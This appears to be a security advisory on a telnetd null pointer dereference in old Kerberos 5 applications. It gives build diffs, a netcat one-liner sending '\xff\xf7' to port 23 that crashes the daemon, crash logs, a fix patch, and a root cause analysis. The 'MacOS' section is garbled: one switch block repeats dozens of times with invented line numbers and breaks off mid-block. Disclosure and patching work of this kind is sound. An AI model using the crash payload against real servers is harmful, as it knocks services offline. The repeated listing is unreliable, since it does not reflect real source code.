Here is the diff to compile the initial version of the Telnetd in Kerberos Version 5 Applications, from the branch f8420ba3e6 (initial version) under FreeBSD 3.2 (the preprocessor variables -DAUTHENTICATION and -DENCRIPTION have been removed but the vulnerable code path is still reachable):

```

myname# diff -r krb5-appl krb5-appl.patched
diff -r krb5-appl/telnet/telnetd/Makefile.4.4 krb5-appl.patched/telnet/telnetd/Makefile.4.4
24c24
< CFLAGS+=-DAUTHENTICATION -DENCRIPTION -I${.CURDIR}/../../lib
---
> CFLAGS+=-I${.CURDIR}/../../lib
diff -r krb5-appl/telnet/telnetd/telnetd.c krb5-appl.patched/telnet/telnetd/telnetd.c
1005c1005
<         char *getstr();
---
>         char *Getstr();
1008,1010c1008,1010
<         HE = getstr("he", &cp);
<         HN = getstr("hn", &cp);
<         IM = getstr("im", &cp);
---
>         HE = Getstr("he", &cp);
>         HN = Getstr("hn", &cp);
>         IM = Getstr("im", &cp);
diff -r krb5-appl/telnet/telnetd/telnetd.h krb5-appl.patched/telnet/telnetd/telnetd.h
49a50,52
> #define TELOPT_ENVIRON 36
> #define ENV_VALUE 0
> #define ENV_VAR 1
myname#

```

Compiling and installing this telnetd program:

```

myname# make -f Makefile.4.4
Warning: Object directory not changed from original /usr/home/test/krb5-appl.patched/telnet/telnetd
cc -O -pipe -DLINEMODE -DKLUDGELINEMODE -DUSE_TERMIO -DDIAGNOSTICS -I/usr/home/test/krb5-appl.patched/telnet/telnetd/../../../../lib -c authenc.c
cc -O -pipe -DLINEMODE -DKLUDGELINEMODE -DUSE_TERMIO -DDIAGNOSTICS -I/usr/home/test/krb5-appl.patched/telnet/telnetd/../../../../lib -c global.c
cc -O -pipe -DLINEMODE -DKLUDGELINEMODE -DUSE_TERMIO -DDIAGNOSTICS -I/usr/home/test/krb5-appl.patched/telnet/telnetd/../../../../lib -c slc.c
cc -O -pipe -DLINEMODE -DKLUDGELINEMODE -DUSE_TERMIO -DDIAGNOSTICS -I/usr/home/test/krb5-appl.patched/telnet/telnetd/../../../../lib -c state.c
cc -O -pipe -DLINEMODE -DKLUDGELINEMODE -DUSE_TERMIO -DDIAGNOSTICS -I/usr/home/test/krb5-appl.patched/telnet/telnetd/../../../../lib -c sys_term.c
cc -O -pipe -DLINEMODE -DKLUDGELINEMODE -DUSE_TERMIO -DDIAGNOSTICS -I/usr/home/test/krb5-appl.patched/telnet/telnetd/../../../../lib -c telnetd.c
cc -O -pipe -DLINEMODE -DKLUDGELINEMODE -DUSE_TERMIO -DDIAGNOSTICS -I/usr/home/test/krb5-appl.patched/telnet/telnetd/../../../../lib -c termstat.c
cc -O -pipe -DLINEMODE -DKLUDGELINEMODE -DUSE_TERMIO -DDIAGNOSTICS -I/usr/home/test/krb5-appl.patched/telnet/telnetd/../../../../lib -c utility.c
cc -O -pipe -DLINEMODE -DKLUDGELINEMODE -DUSE_TERMIO -DDIAGNOSTICS -I/usr/home/test/krb5-appl.patched/telnet/telnetd/../../../../lib -o telnetd authenc.o global.o slc.o state.o sys_term.o telnetd.o termstat.o utility.o -lutil -ltermcap -ltelnet -lkrb -ldes
gzip -cn telnetd.0 > telnetd.0.gz
myname# cp telnetd /usr/libexec/telnetd && chmod 555 /usr/libexec/telnetd

```

And we can confirm this version is vulnerable.

```

kali% printf "\xff\xf7" | nc -n -v 192.168.1.201 23
(UNKNOWN) [192.168.1.201] 23 (telnet) open
<BF><C3><BD><C3><BF><C3><BD><C3><BF><C3><BD>
kali%

```

Using dmesg , we can see the crashes of telnetd on the remote FreeBSD 3.2 server:

```

myname# dmesg | grep telnet
pid 497 (telnetd), uid 0: exited on signal 11 (core dumped)
pid 499 (telnetd), uid 0: exited on signal 11 (core dumped)
pid 500 (telnetd), uid 0: exited on signal 11 (core dumped)
pid 501 (telnetd), uid 0: exited on signal 11 (core dumped)
pid 502 (telnetd), uid 0: exited on signal 11 (core dumped)
pid 503 (telnetd), uid 0: exited on signal 11 (core dumped)

```

We also provide a working patch for Telnetd, Kerberos Version 5 Applications - initial version . This patch has been tested with FreeBSD 3.2/i386.

Please note that we suggest not to use FreeBSD 3.2 or the 30-year old version of the Kerberos Version 5 Applications.

```

myname# diff -u -p krb5-appl/telnet/telnetd/state.c krb5-appl.patched/telnet/telnetd/state.c
--- krb5-appl/telnet/telnetd/state.c      Sun Aug 21 09:00:34 2022
+++ krb5-appl.patched/telnet/telnetd/state.c  Mon Aug 21 09:02:56 2022
@@ -208,16 +208,22 @@ gotiac:
                                switch (c) {
                                    case EC:
                                    case EL:
                                        {
-                                           cc_t ch;
+                                           cc_t ch = (cc_t)_POSIX_VDISABLE;

                                            DIAG(TD_OPTIONS,
                                                printoption("td: recv IAC", c));
                                            ptyflush();      /* half-hearted */
                                            init_termbuf();
                                            if (c == EC)
-                                                ch = *slctab[SLC_EC].sptr;
+                                                {
+                                                    if (slctab[SLC_EC].sptr)
+                                                        ch = *slctab[SLC_EC].sptr;
+                                                }
                                            else
-                                                ch = *slctab[SLC_EL].sptr;
+                                                {
+                                                    if (slctab[SLC_EL].sptr)
+                                                        ch = *slctab[SLC_EL].sptr;
+                                                }
                                            if (ch != (cc_t)(_POSIX_VDISABLE))
                                                *pfrontp++ = (unsigned char)ch;
                                            break;

```

Analysis of the "normal" execution path

In this section, we used the sources found in FreeBSD 13.1 but the root cause is similar with any previously listed `telnetd`.

When reviewing the code, the "normal" execution flow to correctly initialize the `slctab[31]` array is:

```
main() -> doit() -> telnet() -> get_slc_defaults()
```

In the `telnet()` function, there is a call to `get_slc_defaults()` on line 747:

```

723 /*
724  * Main loop. Select from pty and network, and
725  * hand data to telnet receiver finite state machine.
726  */
727 void
728 telnet(int f, int p, char *host)
729 {
730     ...
743
744     /*
745      * Initialize the slc mapping table.
746      */
747     get_slc_defaults();
748     ...
797     while (his_will_wont_is_changing(TELOPT_NAWS))
798         ttloop();
799     ...
811     if (his_want_state_is_will(TELOPT_ECHO) &&
812         his_state_is_will(TELOPT_NAWS)) {
813         while (his_will_wont_is_changing(TELOPT_ECHO))
814             ttloop();

```

After `get_slc_defaults()` , there are multiple calls to the `ttloop()` function (lines 798 and 814). This is the normal behavior.

The function `get_slc_defaults()` defined in `slc.c` is used to correctly initialize the `slctab[31]` array.

```

99 /*
100  * get_slc_defaults
101  *
102  * Initialize the slc mapping table.
103  */
104 void
105 get_slc_defaults(void)
106 {
107     int i;
108
109     init_termbuf();
110
111     for (i = 1; i <= NSLC; i++) {
112         slctab[i].defset.flag =
113             spcset(i, &slctab[i].defset.val, &slctab[i].sptr);
114         slctab[i].current.flag = SLC_NOSUPPORT;
115         slctab[i].current.val = 0;
116     }
117
118 } /* end of get_slc_defaults */

```

Interestingly, the initialization starts from 1.

`NSLC` is defined in `../arpa/telnet.h` :

```
216 #define NSLC
```

```
30
```


You can review the `spcset()` function here (https://github.com/freebsd/freebsd-src/blob/main/contrib/telnet/telnetd/sys_term.c#L285).

The `slctab` global variable, an array of 31 `slcfun` structures, is defined in the `ext.h` file:

```
63 EXTERN slcfun    slctab[NSLC + 1];        /* slc mapping table */
```

And the `slcfun` structure is defined in the `defs.h` file:

```
99 #if !defined(USE_TERMIO) || defined(NO_CC_T)
100 typedef unsigned char cc_t;
101 #endif
...
152 /*
153  * Structures of information for each special character function.
154  */
155 typedef struct {
156     unsigned char    flag;           /* the flags for this function */
157     cc_t             val;           /* the value of the special character */
158 } slcent, *Slcent;
159
160 typedef struct {
161     slcent            defset;        /* the default settings */
162     slcent            current;       /* the current settings */
163     cc_t             *sptr;         /* a pointer to the char in */
164                                /* system data structures */
165 } slcfun, *Slcfun;
```

Because `slctab` is a global variable, all its fields are initialized to `0` by default.

Using `readelf`, we can confirm `slctab` is a global variable:

```
root@freebsd-13-1p1:~ # readelf -a /usr/libexec/telnetd
Symbol table (.symtab) contains 616 entries:
  Num:      Value              Size Type      Bind   Vis      Ndx Name
  ...
  187: 00000000000022730      496 OBJECT   GLOBAL DEFAULT   27 slctab
```

Root cause analysis of the crashes

When reviewing the code, the execution flow leading to segfaults is:

```
main() -> doit() -> getterminaltype() -> ttloop() -> telrcv() -> Access to *(slctab[10].sptr) or
*(slctab[11].sptr).
```

In the `doit()` function, there is a call to `getterminaltype()` on line 715 and then to `telnet()` on line 718:

```

652 /*
653  * Get a pty, scan input lines.
654  */
655 void
656 doit(struct sockaddr *who)
657 {
...
715         level = getterminaltype(user_name);
...
718         telnet(net, pty, remote_hostname);      /* begin server process */

```

Analyzing `getterminaltype()` reveals that there are multiple calls to the `ttloop()` function (on line 481 when compiled with `-DAUTHENTICATION` and on line 505 by default):

```

468 static int
469 getterminaltype(char *name undef2)
470 {
...
474 #ifdef AUTHENTICATION
...
481         ttloop();
...
486 #endif
...
496     while (
497 #ifdef ENCRYPTION
498         his_do_dont_is_changing(TELOPT_ENCRYPT) ||
499 #endif /* ENCRYPTION */
500         his_will_wont_is_changing(TELOPT_TTYPE) ||
501         his_will_wont_is_changing(TELOPT_TSPEED) ||
502         his_will_wont_is_changing(TELOPT_XDISPLOC) ||
503         his_will_wont_is_changing(TELOPT_NEW_ENVIRON) ||
504         his_will_wont_is_changing(TELOPT_OLD_ENVIRON)) {
505         ttloop();
506     }

```

The `ttloop()` function will then call `telrcv()`:

```

66     void
67 ttloop()
68 {
...
69
74     ncc = read(net, netibuf, sizeof netibuf);
...
84     telrcv();          /* state machine */
85     if (ncc > 0) {
86         pfrontp = pbackp = ptyobuf;
87         telrcv();
88     }
89 } /* end of ttloop */

```

At this moment, the function `get_slc_defaults()` has still not been executed to correctly initialize the `slctab[31]` array. All the fields in the `slctab[31]` array are still set to `0`.

Then in the `telrcv()` function, when an attacker sends `\xff\xf7` or `\xff\xf8`, the code will try to access `*(slctab[10].sptr) (*(0))` or `*(slctab[11].sptr) (*(0))`, we have null pointer dereferences!

MacOS

We also found the vulnerable function in MacOS source codes at <https://opensource.apple.com/source/KerberosLibraries/KerberosLibraries-81.46.1/KerberosFramework/Kerberos5/Sources/appl/telnet/telnetd/state.c> (<https://opensource.apple.com/source/KerberosLibraries/KerberosLibraries-81.46.1/KerberosFramework/Kerberos5/Sources/appl/telnet/telnetd/state.c>), but macOS does not appear to provide a telnetd binary so we can assume it is not affected.

```

98         void
99 telrcv()
100 {
101     register int c;
102     static int state = TS_DATA;
103     #if defined(CRAY2) && defined(UNICOS5)
104     char *opfrontp = pfrontp;
105     #endif
106     ...
107     while (ncc > 0) {
108         if ((amp;ptyobuf[BUFSIZ] - pfrontp) < 1)
109             break;
110         c = *netip++ & 0377, ncc--;
111         ...
112         switch (state) {
113             ...
114             case TS_DATA:
115                 if (c == IAC) {
116                     state = TS_IAC;
117                     break;
118                 }
119             ...
120             case TS_IAC:
121                 switch (c) {
122                     ...
123                     /*
124                      * Erase Character and
125                      * Erase Line
126                      */
127                     case EC:
128                     case EL:
129                         {
130                             cc_t ch;
131
132                             DIAG(TD_OPTIONS,
133                                 printoption("td: recv IAC", c));
134                             ptyflush(); /* half-hearted */
135                             init_termbuf();
136                             if (c == EC)
137                                 ch = *slctab[SLC_EC].sptr; // vuln
138                             else
139                                 ch = *slctab[SLC_EL].sptr; // vuln
140                             if (ch != (cc_t)(_POSIX_VDISABLE))
141                                 *pfrontp++ = (unsigned char)ch;
142                             break;
143                         }
144                 }
145             ...
146             case gotiac:
147                 switch (c) {
148                     ...
149                     /*
150                      * Erase Character and
151                      * Erase Line
152                      */
153                     case EC:
154                     case EL:
155                         {
156                             cc_t ch;
157
158                             DIAG(TD_OPTIONS,
159                                 printoption("td: recv IAC", c));
160                             ptyflush(); /* half-hearted */
161                             init_termbuf();
162                             if (c == EC)
163                                 ch = *slctab[SLC_EC].sptr; // vuln
164                             else
165                                 ch = *slctab[SLC_EL].sptr; // vuln
166                             if (ch != (cc_t)(_POSIX_VDISABLE))
167                                 *pfrontp++ = (unsigned char)ch;
168                             break;
169                         }
170                 }
171             ...
172             case gotiac:
173                 switch (c) {
174                     ...
175                     /*
176                      * Erase Character and
177                      * Erase Line
178                      */
179                     case EC:
180                     case EL:
181                         {
182                             cc_t ch;
183
184                             DIAG(TD_OPTIONS,
185                                 printoption("td: recv IAC", c));
186                             ptyflush(); /* half-hearted */
187                             init_termbuf();
188                             if (c == EC)
189                                 ch = *slctab[SLC_EC].sptr; // vuln
190                             else
191                                 ch = *slctab[SLC_EL].sptr; // vuln
192                             if (ch != (cc_t)(_POSIX_VDISABLE))
193                                 *pfrontp++ = (unsigned char)ch;
194                             break;
195                         }
196                 }
197             ...
198             case gotiac:
199                 switch (c) {
200                     ...
201                     /*
202                      * Erase Character and
203                      * Erase Line
204                      */
205                     case EC:
206                     case EL:
207                         {
208                             cc_t ch;
209
210                             DIAG(TD_OPTIONS,
211                                 printoption("td: recv IAC", c));
212                             ptyflush(); /* half-hearted */
213                             init_termbuf();
214                             if (c == EC)
215                                 ch = *slctab[SLC_EC].sptr; // vuln
216                             else
217                                 ch = *slctab[SLC_EL].sptr; // vuln
218                             if (ch != (cc_t)(_POSIX_VDISABLE))
219                                 *pfrontp++ = (unsigned char)ch;
220                             break;
221                         }
222                 }
223             ...
224             case gotiac:
225                 switch (c) {
226                     ...
227                     /*
228                      * Erase Character and
229                      * Erase Line
230                      */
231                     case EC:
232                     case EL:
233                         {
234                             cc_t ch;
235
236                             DIAG(TD_OPTIONS,
237                                 printoption("td: recv IAC", c));
238                             ptyflush(); /* half-hearted */
239                             init_termbuf();
240                             if (c == EC)
241                                 ch = *slctab[SLC_EC].sptr; // vuln
242                             else
243                                 ch = *slctab[SLC_EL].sptr; // vuln
244                             if (ch != (cc_t)(_POSIX_VDISABLE))
245                                 *pfrontp++ = (unsigned char)ch;
246                             break;
247                         }
248                 }
249             ...
250             case gotiac:
251                 switch (c) {
252                     ...
253                     /*
254                      * Erase Character and
255                      * Erase Line
256                      */
257                     case EC:
258                     case EL:
259                         {
260                             cc_t ch;
261
262                             DIAG(TD_OPTIONS,
263                                 printoption("td: recv IAC", c));
264                             ptyflush(); /* half-hearted */
265                             init_termbuf();
266                             if (c == EC)
267                                 ch = *slctab[SLC_EC].sptr; // vuln
268                             else
269                                 ch = *slctab[SLC_EL].sptr; // vuln
270                             if (ch != (cc_t)(_POSIX_VDISABLE))
271                                 *pfrontp++ = (unsigned char)ch;
272                             break;
273                         }
274                 }
275             ...
276             case gotiac:
277                 switch (c) {
278                     ...
279                     /*
280                      * Erase Character and
281                      * Erase Line
282                      */
283                     case EC:
284                     case EL:
285                         {
286                             cc_t ch;
287
288                             DIAG(TD_OPTIONS,
289                                 printoption("td: recv IAC", c));
290                             ptyflush(); /* half-hearted */
291                             init_termbuf();
292                             if (c == EC)
293                                 ch = *slctab[SLC_EC].sptr; // vuln
294                             else
295                                 ch = *slctab[SLC_EL].sptr; // vuln
296                             if (ch != (cc_t)(_POSIX_VDISABLE))
297                                 *pfrontp++ = (unsigned char)ch;
298                             break;
299                         }
300                 }
301             ...
302             case gotiac:
303                 switch (c) {
304                     ...
305                     /*
306                      * Erase Character and
307                      * Erase Line
308                      */
309                     case EC:
310                     case EL:
311                         {
312                             cc_t ch;
313
314                             DIAG(TD_OPTIONS,
315                                 printoption("td: recv IAC", c));
316                             ptyflush(); /* half-hearted */
317                             init_termbuf();
318                             if (c == EC)
319                                 ch = *slctab[SLC_EC].sptr; // vuln
320                             else
321                                 ch = *slctab[SLC_EL].sptr; // vuln
322                             if (ch != (cc_t)(_POSIX_VDISABLE))
323                                 *pfrontp++ = (unsigned char)ch;
324                             break;
325                         }
326                 }
327             ...
328             case gotiac:
329                 switch (c) {
330                     ...
331                     /*
332                      * Erase Character and
333                      * Erase Line
334                      */
335                     case EC:
336                     case EL:
337                         {
338                             cc_t ch;
339
340                             DIAG(TD_OPTIONS,
341                                 printoption("td: recv IAC", c));
342                             ptyflush(); /* half-hearted */
343                             init_termbuf();
344                             if (c == EC)
345                                 ch = *slctab[SLC_EC].sptr; // vuln
346                             else
347                                 ch = *slctab[SLC_EL].sptr; // vuln
348                             if (ch != (cc_t)(_POSIX_VDISABLE))
349                                 *pfrontp++ = (unsigned char)ch;
350                             break;
351                         }
352                 }
353             ...
354             case gotiac:
355                 switch (c) {
356                     ...
357                     /*
358                      * Erase Character and
359                      * Erase Line
360                      */
361                     case EC:
362                     case EL:
363                         {
364                             cc_t ch;
365
366                             DIAG(TD_OPTIONS,
367                                 printoption("td: recv IAC", c));
368                             ptyflush(); /* half-hearted */
369                             init_termbuf();
370                             if (c == EC)
371                                 ch = *slctab[SLC_EC].sptr; // vuln
372                             else
373                                 ch = *slctab[SLC_EL].sptr; // vuln
374                             if (ch != (cc_t)(_POSIX_VDISABLE))
375                                 *pfrontp++ = (unsigned char)ch;
376                             break;
377                         }
378                 }
379             ...
380             case gotiac:
381                 switch (c) {
382                     ...
383                     /*
384                      * Erase Character and
385                      * Erase Line
386                      */
387                     case EC:
388                     case EL:
389                         {
390                             cc_t ch;
391
392                             DIAG(TD_OPTIONS,
393                                 printoption("td: recv IAC", c));
394                             ptyflush(); /* half-hearted */
395                             init_termbuf();
396                             if (c == EC)
397                                 ch = *slctab[SLC_EC].sptr; // vuln
398                             else
399                                 ch = *slctab[SLC_EL].sptr; // vuln
400                             if (ch != (cc_t)(_POSIX_VDISABLE))
401                                 *pfrontp++ = (unsigned char)ch;
402                             break;
403                         }
404                 }
405             ...
406             case gotiac:
407                 switch (c) {
408                     ...
409                     /*
410                      * Erase Character and
411                      * Erase Line
412                      */
413                     case EC:
414                     case EL:
415                         {
416                             cc_t ch;
417
418                             DIAG(TD_OPTIONS,
419                                 printoption("td: recv IAC", c));
420                             ptyflush(); /* half-hearted */
421                             init_termbuf();
422                             if (c == EC)
423                                 ch = *slctab[SLC_EC].sptr; // vuln
424                             else
425                                 ch = *slctab[SLC_EL].sptr; // vuln
426                             if (ch != (cc_t)(_POSIX_VDISABLE))
427                                 *pfrontp++ = (unsigned char)ch;
428                             break;
429                         }
430                 }
431             ...
432             case gotiac:
433                 switch (c) {
434                     ...
435                     /*
436                      * Erase Character and
437                      * Erase Line
438                      */
439                     case EC:
440                     case EL:
441                         {
442                             cc_t ch;
443
444                             DIAG(TD_OPTIONS,
445                                 printoption("td: recv IAC", c));
446                             ptyflush(); /* half-hearted */
447                             init_termbuf();
448                             if (c == EC)
449                                 ch = *slctab[SLC_EC].sptr; // vuln
450                             else
451                                 ch = *slctab[SLC_EL].sptr; // vuln
452                             if (ch != (cc_t)(_POSIX_VDISABLE))
453                                 *pfrontp++ = (unsigned char)ch;
454                             break;
455                         }
456                 }
457             ...
458             case gotiac:
459                 switch (c) {
460                     ...
461                     /*
462                      * Erase Character and
463                      * Erase Line
464                      */
465                     case EC:
466                     case EL:
467                         {
468                             cc_t ch;
469
470                             DIAG(TD_OPTIONS,
471                                 printoption("td: recv IAC", c));
472                             ptyflush(); /* half-hearted */
473                             init_termbuf();
474                             if (c == EC)
475                                 ch = *slctab[SLC_EC].sptr; // vuln
476                             else
477                                 ch = *slctab[SLC_EL].sptr; // vuln
478                             if (ch != (cc_t)(_POSIX_VDISABLE))
479                                 *pfrontp++ = (unsigned char)ch;
480                             break;
481                         }
482                 }
483             ...
484             case gotiac:
485                 switch (c) {
486                     ...
487                     /*
488                      * Erase Character and
489                      * Erase Line
490                      */
491                     case EC:
492                     case EL:
493                         {
494                             cc_t ch;
495
496                             DIAG(TD_OPTIONS,
497                                 printoption("td: recv IAC", c));
498                             ptyflush(); /* half-hearted */
499                             init_termbuf();
500                             if (c == EC)
501                                 ch = *slctab[SLC_EC].sptr; // vuln
502                             else
503                                 ch = *slctab[SLC_EL].sptr; // vuln
504                             if (ch != (cc_t)(_POSIX_VDISABLE))
505                                 *pfrontp++ = (unsigned char)ch;
506                             break;
507                         }
508                 }
509             ...
510             case gotiac:
511                 switch (c) {
512                     ...
513                     /*
514                      * Erase Character and
515                      * Erase Line
516                      */
517                     case EC:
518                     case EL:
519                         {
520                             cc_t ch;
521
522                             DIAG(TD_OPTIONS,
523                                 printoption("td: recv IAC", c));
524                             ptyflush(); /* half-hearted */
525                             init_termbuf();
526                             if (c == EC)
527                                 ch = *slctab[SLC_EC].sptr; // vuln
528                             else
529                                 ch = *slctab[SLC_EL].sptr; // vuln
530                             if (ch != (cc_t)(_POSIX_VDISABLE))
531                                 *pfrontp++ = (unsigned char)ch;
532                             break;
533                         }
534                 }
535             ...
536             case gotiac:
537                 switch (c) {
538                     ...
539                     /*
540                      * Erase Character and
541                      * Erase Line
542                      */
543                     case EC:
544                     case EL:
545                         {
546                             cc_t ch;
547
548                             DIAG(TD_OPTIONS,
549                                 printoption("td: recv IAC", c));
550                             ptyflush(); /* half-hearted */
551                             init_termbuf();
552                             if (c == EC)
553                                 ch = *slctab[SLC_EC].sptr; // vuln
554                             else
555                                 ch = *slctab[SLC_EL].sptr; // vuln
556                             if (ch != (cc_t)(_POSIX_VDISABLE))
557                                 *pfrontp++ = (unsigned char)ch;
558                             break;
559                         }
560                 }
561             ...
562             case gotiac:
563                 switch (c) {
564                     ...
565                     /*
566                      * Erase Character and
567                      * Erase Line
568                      */
569                     case EC:
570                     case EL:
571                         {
572                             cc_t ch;
573
574                             DIAG(TD_OPTIONS,
575                                 printoption("td: recv IAC", c));
576                             ptyflush(); /* half-hearted */
577                             init_termbuf();
578                             if (c == EC)
579                                 ch = *slctab[SLC_EC].sptr; // vuln
580                             else
581                                 ch = *slctab[SLC_EL].sptr; // vuln
582                             if (ch != (cc_t)(_POSIX_VDISABLE))
583                                 *pfrontp++ = (unsigned char)ch;
584                             break;
585                         }
586                 }
587             ...
588             case gotiac:
589                 switch (c) {
590                     ...
591                     /*
592                      * Erase Character and
593                      * Erase Line
594                      */
595                     case EC:
596                     case EL:
597                         {
598                             cc_t ch;
599
600                             DIAG(TD_OPTIONS,
601                                 printoption("td: recv IAC", c));
602                             ptyflush(); /* half-hearted */
603                             init_termbuf();
604                             if (c == EC)
605                                 ch = *slctab[SLC_EC].sptr; // vuln
606                             else
607                                 ch = *slctab[SLC_EL].sptr; // vuln
608                             if (ch != (cc_t)(_POSIX_VDISABLE))
609                                 *pfrontp++ = (unsigned char)ch;
610                             break;
611                         }
612                 }
613             ...
614             case gotiac:
615                 switch (c) {
616                     ...
617                     /*
618                      * Erase Character and
619                      * Erase Line
620                      */
621                     case EC:
622                     case EL:
623                         {
624                             cc_t ch;
625
626                             DIAG(TD_OPTIONS,
627                                 printoption("td: recv IAC", c));
628                             ptyflush(); /* half-hearted */
629                             init_termbuf();
630                             if (c == EC)
631                                 ch = *slctab[SLC_EC].sptr; // vuln
632                             else
633                                 ch = *slctab[SLC_EL].sptr; // vuln
634                             if (ch != (cc_t)(_POSIX_VDISABLE))
635                                 *pfrontp++ = (unsigned char)ch;
636                             break;
637                         }
638                 }
639             ...
640             case gotiac:
641                 switch (c) {
642                     ...
643                     /*
644                      * Erase Character and
645                      * Erase Line
646                      */
647                     case EC:
648                     case EL:
649                         {
650                             cc_t ch;
651
652                             DIAG(TD_OPTIONS,
653                                 printoption("td: recv IAC", c));
654                             ptyflush(); /* half-hearted */
655                             init_termbuf();
656                             if (c == EC)
657                                 ch = *slctab[SLC_EC].sptr; // vuln
658                             else
659                                 ch = *slctab[SLC_EL].sptr; // vuln
660                             if (ch != (cc_t)(_POSIX_VDISABLE))
661                                 *pfrontp++ = (unsigned char)ch;
662                             break;
663                         }
664                 }
665             ...
666             case gotiac:
667                 switch (c) {
668                     ...
669                     /*
670                      * Erase Character and
671                      * Erase Line
672                      */
673                     case EC:
674                     case EL:
675                         {
676                             cc_t ch;
677
678                             DIAG(TD_OPTIONS,
679                                 printoption("td: recv IAC", c));
680                             ptyflush(); /* half-hearted */
681                             init_termbuf();
682                             if (c == EC)
683                                 ch = *slctab[SLC_EC].sptr; // vuln
684                             else
685                                 ch = *slctab[SLC_EL].sptr; // vuln
686                             if (ch != (cc_t)(_POSIX_VDISABLE))
687                                 *pfrontp++ = (unsigned char)ch;
688                             break;
689                         }
690                 }
691             ...
692             case gotiac:
693                 switch (c) {
694                     ...
695                     /*
696                      * Erase Character and
697                      * Erase Line
698                      */
699                     case EC:
700                     case EL:
701                         {
702                             cc_t ch;
703
704                             DIAG(TD_OPTIONS,
705                                 printoption("td: recv IAC", c));
706                             ptyflush(); /* half-hearted */
707                             init_termbuf();
708                             if (c == EC)
709                                 ch = *slctab[SLC_EC].sptr; // vuln
710                             else
711                                 ch = *slctab[SLC_EL].sptr; // vuln
712                             if (ch != (cc_t)(_POSIX_VDISABLE))
713                                 *pfrontp++ = (unsigned char)ch;
714                             break;
715                         }
716                 }
717             ...
718             case gotiac:
719                 switch (c) {
720                     ...
721                     /*
722                      * Erase Character and
723                      * Erase Line
724                      */
725                     case EC:
726                     case EL:
727                         {
728                             cc_t ch;
729
730                             DIAG(TD_OPTIONS,
731                                 printoption("td: recv IAC", c));
732                             ptyflush(); /* half-hearted */
733                             init_termbuf();
734                             if (c == EC)
735                                 ch = *slctab[SLC_EC].sptr; // vuln
736                             else
737                                 ch = *slctab[SLC_EL].sptr; // vuln
738                             if (ch != (cc_t)(_POSIX_VDISABLE))
739                                 *pfrontp++ = (unsigned char)ch;
740                             break;
741                         }
742                 }
743             ...
744             case gotiac:
745                 switch (c) {
746                     ...
747                     /*
748                      * Erase Character and
749                      * Erase Line
750                      */
751                     case EC:
752                     case EL:
753                         {
754                             cc_t ch;
755
756                             DIAG(TD_OPTIONS,
757                                 printoption("td: recv IAC", c));
758                             ptyflush(); /* half-hearted */
759                             init_termbuf();
760                             if (c == EC)
761                                 ch = *slctab[SLC_EC].sptr; // vuln
762                             else
763                                 ch = *slctab[SLC_EL].sptr; // vuln
764                             if (ch != (cc_t)(_POSIX_VDISABLE))
765                                 *pfrontp++ = (unsigned char)ch;
766                             break;
767                         }
768                 }
769             ...
770             case gotiac:
771                 switch (c) {
772                     ...
773                     /*
774                      * Erase Character and
775                      * Erase Line
776                      */
777                     case EC:
778                     case EL:
779                         {
780                             cc_t ch;
781
782                             DIAG(TD_OPTIONS,
783                                 printoption("td: recv IAC", c));
784                             ptyflush(); /* half-hearted */
785                             init_termbuf();
786                             if (c == EC)
787                                 ch = *slctab[SLC_EC].sptr; // vuln
788                             else
789                                 ch = *slctab[SLC_EL].sptr; // vuln
790                             if (ch != (cc_t)(_POSIX_VDISABLE))
791                                 *pfrontp++ = (unsigned char)ch;
792                             break;
793                         }
794                 }
795             ...
796             case gotiac:
797                 switch (c) {
798                     ...
799                     /*
800                      * Erase Character and
801                      * Erase Line
802                      */
803                     case EC:
804                     case EL:
805                         {
806                             cc_t ch;
807
808                             DIAG(TD_OPTIONS,
809                                 printoption("td: recv IAC", c));
810                             ptyflush(); /* half-hearted */
811                             init_termbuf();
812                             if (c == EC)
813                                 ch = *slctab[SLC_EC].sptr; // vuln
814                             else
815                                 ch = *slctab[SLC_EL].sptr; // vuln
816                             if (ch != (cc_t)(_POSIX_VDISABLE))
817                                 *pfrontp++ = (unsigned char)ch;
818                             break;
819                         }
820                 }
821             ...
822             case gotiac:
823                 switch (c) {
824                     ...
825                     /*
826                      * Erase Character and
827                      * Erase Line
828                      */
829                     case EC:
830                     case EL:
831                         {
832                             cc_t ch;
833
834                             DIAG(TD_OPTIONS,
835                                 printoption("td: recv IAC", c));
836                             ptyflush(); /* half-hearted */
837                             init_termbuf();
838                             if (c == EC)
839                                 ch = *slctab[SLC_EC].sptr; // vuln
840                             else
841                                 ch = *slctab[SLC_EL].sptr; // vuln
842                             if (ch != (cc_t)(_POSIX_VDISABLE))
843                                 *pfrontp++ = (unsigned char)ch;
844                             break;
845                         }
846                 }
847             ...
848             case gotiac:
849                 switch (c) {
850                     ...
851                     /*
852                      * Erase Character and
853                      * Erase Line
854                      */
855                     case EC:
856                     case EL:
857                         {
858                             cc_t ch;
859
860                             DIAG(TD_OPTIONS,
861                                 printoption("td: recv IAC", c));
862                             ptyflush(); /* half-hearted */
863                             init_termbuf();
864                             if (c == EC)
865                                 ch = *slctab[SLC_EC].sptr; // vuln
866                             else
867                                 ch = *slctab[SLC_EL].sptr; // vuln
868                             if (ch != (cc_t)(_POSIX_VDISABLE))
869                                 *pfrontp++ = (unsigned char)ch;
870                             break;
871                         }
872                 }
873             ...
874             case gotiac:
875                 switch (c) {
876                     ...
877                     /*
878                      * Erase Character and
879                      * Erase Line
880                      */
881                     case EC:
882                     case EL:
883                         {
884                             cc_t ch;
885
886                             DIAG(TD_OPTIONS,
887                                 printoption("td: recv IAC", c));
888                             ptyflush(); /* half-hearted */
889                             init_termbuf();
890                             if (c == EC)
891                                 ch = *slctab[SLC_EC].sptr; // vuln
892                             else
893                                 ch = *slctab[SLC_EL].sptr; // vuln
894                             if (ch != (cc_t)(_POSIX_VDISABLE))
895                                 *pfrontp++ = (unsigned char)ch;
896                             break;
897                         }
898                 }
899             ...
900             case gotiac:
901                 switch (c) {
902                     ...
903                     /*
904                      * Erase Character and
905                      * Erase Line
906                      */
907                     case EC:
908                     case EL:
909                         {
910                             cc_t ch;
911
912                             DIAG(TD_OPTIONS,
913                                 printoption("td: recv IAC", c));
914                             ptyflush(); /* half-hearted */
915                             init_termbuf();
916                             if (c == EC)
917                                 ch = *slctab[SLC_EC].sptr; // vuln
918                             else
919                                 ch = *slctab[SLC_EL].sptr; // vuln
920                             if (ch != (cc_t)(_POSIX_VDISABLE))
921                                 *pfrontp++ = (unsigned char)ch;
922                             break;
923                         }
924                 }
925             ...
926             case gotiac:
927                 switch (c) {
928                     ...
929                     /*
930                      * Erase Character and
931                      * Erase Line
932                      */
933                     case EC:
934                     case EL:
935                         {
936                             cc_t ch;
937
938                             DIAG(TD_OPTIONS,
939                                 printoption("td: recv IAC", c));
940                             ptyflush(); /* half-hearted */
941                             init_termbuf();
